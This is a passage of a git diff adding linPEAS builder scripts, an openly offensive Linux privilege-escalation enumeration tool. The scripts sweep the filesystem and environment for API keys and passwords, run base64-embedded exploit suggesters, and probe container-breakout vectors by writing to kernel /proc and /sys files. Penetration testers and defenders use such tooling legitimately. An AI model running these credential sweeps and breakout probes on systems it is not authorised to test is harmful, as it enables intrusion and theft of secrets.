timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
else
|
||||
# Search in home direcoties (usually the slowest)
|
||||
timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in etc
|
||||
timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in opt
|
||||
timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in possible web folders (usually only 1 will exist)
|
||||
timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in logs
|
||||
timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in backups
|
||||
timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in others folders (usually only /srv or /Applications will exist)
|
||||
timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
fi
|
||||
wait
|
||||
printf "\033[2K\r"
|
||||
}
|
||||
|
||||
|
||||
|
||||
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
|
||||
peass{REGEXES}
|
||||
else
|
||||
echo "Regexes to search for API keys aren't activated, use param '-r' "
|
||||
fi
|
||||
243
linPEAS/builder/linpeas_parts/1_system_information.sh
Normal file
243
linPEAS/builder/linpeas_parts/1_system_information.sh
Normal file
@@ -0,0 +1,243 @@
|
||||
###########################################
|
||||
#-------------) System Info (-------------#
|
||||
###########################################
|
||||
|
||||
#-- SY) OS
|
||||
print_2title "Operative system"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
|
||||
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
|
||||
warn_exec lsb_release -a 2>/dev/null
|
||||
if [ "$MACPEAS" ]; then
|
||||
warn_exec system_profiler SPSoftwareDataType
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- SY) Sudo
|
||||
print_2title "Sudo version"
|
||||
if [ "$(command -v sudo 2>/dev/null)" ]; then
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version"
|
||||
sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
|
||||
else echo_not_found "sudo"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#--SY) USBCreator
|
||||
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
|
||||
print_2title "USBCreator"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
|
||||
|
||||
pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
|
||||
if [ -z "$pc_version" ]; then
|
||||
pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP "\*\*\*.*" | cut -d" " -f2)
|
||||
fi
|
||||
if [ -n "$pc_version" ]; then
|
||||
pc_length=${#pc_version}
|
||||
pc_major=$(echo "$pc_version" | cut -d. -f1)
|
||||
pc_minor=$(echo "$pc_version" | cut -d. -f2)
|
||||
if [ "$pc_length" -eq 4 ] && [ "$pc_major" -eq 0 ] && [ "$pc_minor" -lt 21 ]; then
|
||||
echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- SY) PATH
|
||||
|
||||
print_2title "PATH"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
|
||||
if [ "$DEBUG" ]; then
|
||||
echo "New path exported: $PATH"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- SY) Date
|
||||
print_2title "Date & uptime"
|
||||
warn_exec date 2>/dev/null
|
||||
warn_exec uptime 2>/dev/null
|
||||
echo ""
|
||||
|
||||
#-- SY) System stats
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "System stats"
|
||||
(df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk"
|
||||
warn_exec free 2>/dev/null
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) CPU info
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "CPU info"
|
||||
warn_exec lscpu 2>/dev/null
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ -d "/dev" ] || [ "$DEBUG" ] ; then
|
||||
print_2title "Any sd*/disk* disk in /dev? (limit 20)"
|
||||
ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Unmounted file-system?"
|
||||
print_info "Check if you can mount umounted devices"
|
||||
grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ([ "$(command -v diskutil)" ] || [ "$DEBUG" ]) && [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Mounted disks information"
|
||||
warn_exec diskutil list
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Mounted SMB Shares"
|
||||
warn_exec smbutil statshares -a
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) Environment vars
|
||||
print_2title "Environment"
|
||||
print_info "Any private information inside environment variables?"
|
||||
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
|
||||
echo ""
|
||||
|
||||
#-- SY) Dmesg
|
||||
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching Signature verification failed in dmesg"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
|
||||
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) Kernel extensions
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Kernel Extensions not belonging to apple"
|
||||
kextstat 2>/dev/null | grep -Ev " com.apple."
|
||||
|
||||
print_2title "Unsigned Kernel Extensions"
|
||||
macosNotSigned /Library/Extensions
|
||||
macosNotSigned /System/Library/Extensions
|
||||
fi
|
||||
|
||||
if [ "$(command -v bash 2>/dev/null)" ]; then
|
||||
print_2title "Executing Linux Exploit Suggester"
|
||||
print_info "https://github.com/mzet-/linux-exploit-suggester"
|
||||
les_b64="peass{LES}"
|
||||
echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$(command -v perl 2>/dev/null)" ]; then
|
||||
print_2title "Executing Linux Exploit Suggester 2"
|
||||
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
|
||||
les2_b64="peass{LES2}"
|
||||
echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then
|
||||
print_2title "Brew Doctor Suggestions"
|
||||
brew doctor
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
|
||||
#-- SY) AppArmor
|
||||
print_2title "Protections"
|
||||
print_list "AppArmor enabled? .............. "$NC
|
||||
if [ "$(command -v aa-status 2>/dev/null)" ]; then
|
||||
aa-status 2>&1 | sed "s,disabled,${SED_RED},"
|
||||
elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then
|
||||
apparmor_status 2>&1 | sed "s,disabled,${SED_RED},"
|
||||
elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then
|
||||
ls -d /etc/apparmor*
|
||||
else
|
||||
echo_not_found "AppArmor"
|
||||
fi
|
||||
|
||||
#-- SY) AppArmor2
|
||||
print_list "AppArmor profile? .............. "$NC
|
||||
(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
|
||||
|
||||
#-- SY) LinuxONE
|
||||
print_list "is linuxONE? ................... "$NC
|
||||
( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x")
|
||||
|
||||
#-- SY) grsecurity
|
||||
print_list "grsecurity present? ............ "$NC
|
||||
( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
|
||||
|
||||
#-- SY) PaX
|
||||
print_list "PaX bins present? .............. "$NC
|
||||
(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX")
|
||||
|
||||
#-- SY) Execshield
|
||||
print_list "Execshield enabled? ............ "$NC
|
||||
(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED},"
|
||||
|
||||
#-- SY) SElinux
|
||||
print_list "SELinux enabled? ............... "$NC
|
||||
(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
|
||||
|
||||
#-- SY) Seccomp
|
||||
print_list "Seccomp enabled? ............... "$NC
|
||||
([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
|
||||
|
||||
#-- SY) AppArmor
|
||||
print_list "User namespace? ................ "$NC
|
||||
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
|
||||
|
||||
#-- SY) cgroup2
|
||||
print_list "Cgroup2 enabled? ............... "$NC
|
||||
([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
|
||||
|
||||
#-- SY) Gatekeeper
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_list "Gatekeeper enabled? .......... "$NC
|
||||
(spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
|
||||
|
||||
print_list "sleepimage encrypted? ........ "$NC
|
||||
(sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no
|
||||
|
||||
print_list "XProtect? .................... "$NC
|
||||
(system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no
|
||||
|
||||
print_list "SIP enabled? ................. "$NC
|
||||
csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
|
||||
|
||||
print_list "Connected to JAMF? ........... "$NC
|
||||
warn_exec jamf checkJSSConnection
|
||||
|
||||
print_list "Connected to AD? ............. "$NC
|
||||
dsconfigad -show && echo "" || echo_no
|
||||
fi
|
||||
|
||||
#-- SY) ASLR
|
||||
print_list "Is ASLR enabled? ............... "$NC
|
||||
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
|
||||
if [ -z "$ASLR" ]; then
|
||||
echo_not_found "/proc/sys/kernel/randomize_va_space";
|
||||
else
|
||||
if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) Printer
|
||||
print_list "Printer? ....................... "$NC
|
||||
(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null
|
||||
|
||||
#-- SY) Running in a virtual environment
|
||||
print_list "Is this a virtual machine? ..... "$NC
|
||||
hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)
|
||||
if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then
|
||||
detectedvirt=$(systemd-detect-virt)
|
||||
if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi
|
||||
else
|
||||
if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi
|
||||
fi
|
||||
418
linPEAS/builder/linpeas_parts/2_container.sh
Normal file
418
linPEAS/builder/linpeas_parts/2_container.sh
Normal file
@@ -0,0 +1,418 @@
|
||||
###########################################
|
||||
#---------) Container functions (---------#
|
||||
###########################################
|
||||
|
||||
containerCheck() {
|
||||
inContainer=""
|
||||
containerType="$(echo_no)"
|
||||
|
||||
# Are we inside docker?
|
||||
if [ -f "/.dockerenv" ] ||
|
||||
grep "/docker/" /proc/1/cgroup -qa 2>/dev/null ||
|
||||
grep -qai docker /proc/self/cgroup 2>/dev/null ||
|
||||
[ "$(find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null)" ] ; then
|
||||
|
||||
inContainer="1"
|
||||
containerType="docker\n"
|
||||
fi
|
||||
|
||||
# Are we inside kubernetes?
|
||||
if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null ||
|
||||
grep -qai kubepods /proc/self/cgroup 2>/dev/null; then
|
||||
|
||||
inContainer="1"
|
||||
if [ "$containerType" ]; then containerType="$containerType (kubernetes)\n"
|
||||
else containerType="kubernetes\n"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Inside concourse?
|
||||
if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then
|
||||
inContainer="1"
|
||||
if [ "$containerType" ]; then
|
||||
containerType="$containerType (concourse)\n"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Are we inside LXC?
|
||||
if env | grep "container=lxc" -qa 2>/dev/null ||
|
||||
grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then
|
||||
|
||||
inContainer="1"
|
||||
containerType="lxc\n"
|
||||
fi
|
||||
|
||||
# Are we inside podman?
|
||||
if env | grep -qa "container=podman" 2>/dev/null ||
|
||||
grep -qa "container=podman" /proc/1/environ 2>/dev/null; then
|
||||
|
||||
inContainer="1"
|
||||
containerType="podman\n"
|
||||
fi
|
||||
|
||||
# Check for other container platforms that report themselves in PID 1 env
|
||||
if [ -z "$inContainer" ]; then
|
||||
if grep -a 'container=' /proc/1/environ 2>/dev/null; then
|
||||
inContainer="1"
|
||||
containerType="$(grep -a 'container=' /proc/1/environ | cut -d= -f2)\n"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
inDockerGroup() {
|
||||
DOCKER_GROUP="No"
|
||||
if groups 2>/dev/null | grep -q '\bdocker\b'; then
|
||||
DOCKER_GROUP="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
checkDockerRootless() {
|
||||
DOCKER_ROOTLESS="No"
|
||||
if docker info 2>/dev/null|grep -q rootless; then
|
||||
DOCKER_ROOTLESS="Yes ($TIP_DOCKER_ROOTLESS)"
|
||||
fi
|
||||
}
|
||||
|
||||
enumerateDockerSockets() {
|
||||
dockerVersion="$(echo_not_found)"
|
||||
if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
|
||||
SEARCHED_DOCKER_SOCKETS="1"
|
||||
for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
|
||||
if echo "$int_sock" | grep -Eq "docker"; then
|
||||
dock_sock="$int_sock"
|
||||
echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g"
|
||||
echo "Docker enummeration:"
|
||||
docker_enumerated=""
|
||||
|
||||
if [ "$(command -v curl)" ]; then
|
||||
sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)"
|
||||
dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4)
|
||||
echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
|
||||
if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi
|
||||
fi
|
||||
|
||||
if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then
|
||||
sockInfoResponse="$(docker info)"
|
||||
dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4)
|
||||
printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
|
||||
fi
|
||||
|
||||
else
|
||||
echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g"
|
||||
fi
|
||||
|
||||
else
|
||||
echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
}
|
||||
|
||||
checkDockerVersionExploits() {
|
||||
if echo "$dockerVersion" | grep -iq "not found"; then
|
||||
VULN_CVE_2019_13139="$(echo_not_found)"
|
||||
VULN_CVE_2019_5736="$(echo_not_found)"
|
||||
return
|
||||
fi
|
||||
|
||||
VULN_CVE_2019_13139="$(echo_no)"
|
||||
if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1895" ]; then
|
||||
VULN_CVE_2019_13139="Yes"
|
||||
fi
|
||||
|
||||
VULN_CVE_2019_5736="$(echo_no)"
|
||||
if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1893" ]; then
|
||||
VULN_CVE_2019_5736="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
checkContainerExploits() {
|
||||
VULN_CVE_2019_5021="$(echo_no)"
|
||||
if [ -f "/etc/alpine-release" ]; then
|
||||
alpineVersion=$(cat /etc/alpine-release)
|
||||
if [ "$(echo $alpineVersion | sed 's,\.,,g')" -ge "330" ] && [ "$(echo $alpineVersion | sed 's,\.,,g')" -le "360" ]; then
|
||||
VULN_CVE_2019_5021="Yes"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
checkCreateReleaseAgent(){
|
||||
cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys
|
||||
do
|
||||
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then
|
||||
release_agent_breakout2="Yes (unshare with $subsys)";
|
||||
rm -rf /tmp/cgroup_3628d4
|
||||
break
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
checkProcSysBreakouts(){
|
||||
dev_mounted="No"
|
||||
if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then
|
||||
dev_mounted="Yes";
|
||||
fi
|
||||
|
||||
proc_mounted="No"
|
||||
if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then
|
||||
proc_mounted="Yes";
|
||||
fi
|
||||
|
||||
run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)
|
||||
if ! [ "$run_unshare" = "Yes" ]; then
|
||||
run_unshare="No"
|
||||
fi
|
||||
|
||||
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then
|
||||
release_agent_breakout1="Yes"
|
||||
else
|
||||
release_agent_breakout1="No"
|
||||
fi
|
||||
|
||||
release_agent_breakout2="No"
|
||||
mkdir /tmp/cgroup_3628d4
|
||||
mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
release_agent_breakout2="Yes";
|
||||
rm -rf /tmp/cgroup_3628d4
|
||||
else
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
release_agent_breakout2="Yes";
|
||||
rm -rf /tmp/cgroup_3628d4
|
||||
else
|
||||
checkCreateReleaseAgent
|
||||
fi
|
||||
fi
|
||||
rm -rf /tmp/cgroup_3628d4 2>/dev/null
|
||||
|
||||
core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
|
||||
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)"
|
||||
panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
|
||||
panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
|
||||
binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
|
||||
proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)"
|
||||
sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)"
|
||||
kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev
|
||||
kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev
|
||||
mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi
|
||||
kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)"
|
||||
vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)"
|
||||
security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)"
|
||||
efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)"
|
||||
efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)"
|
||||
}
|
||||
|
||||
|
||||
##############################################
|
||||
#---------------) Containers (---------------#
|
||||
##############################################
|
||||
containerCheck
|
||||
|
||||
print_2title "Container related tools present (if any):"
|
||||
command -v docker
|
||||
command -v lxc
|
||||
command -v rkt
|
||||
command -v kubectl
|
||||
command -v podman
|
||||
command -v runc
|
||||
|
||||
if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
|
||||
print_2title "Am I Containered?"
|
||||
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
|
||||
fi
|
||||
|
||||
print_2title "Container details"
|
||||
print_list "Is this a container? ...........$NC $containerType"
|
||||
|
||||
print_list "Any running containers? ........ "$NC
|
||||
# Get counts of running containers for each platform
|
||||
dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l)
|
||||
podmancontainers=$(podman ps --format "{{.Names}}" 2>/dev/null | wc -l)
|
||||
lxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l)
|
||||
rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l)
|
||||
if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then
|
||||
echo_no
|
||||
else
|
||||
containerCounts=""
|
||||
if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi
|
||||
if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi
|
||||
if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi
|
||||
if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi
|
||||
echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED},"
|
||||
|
||||
# List any running containers
|
||||
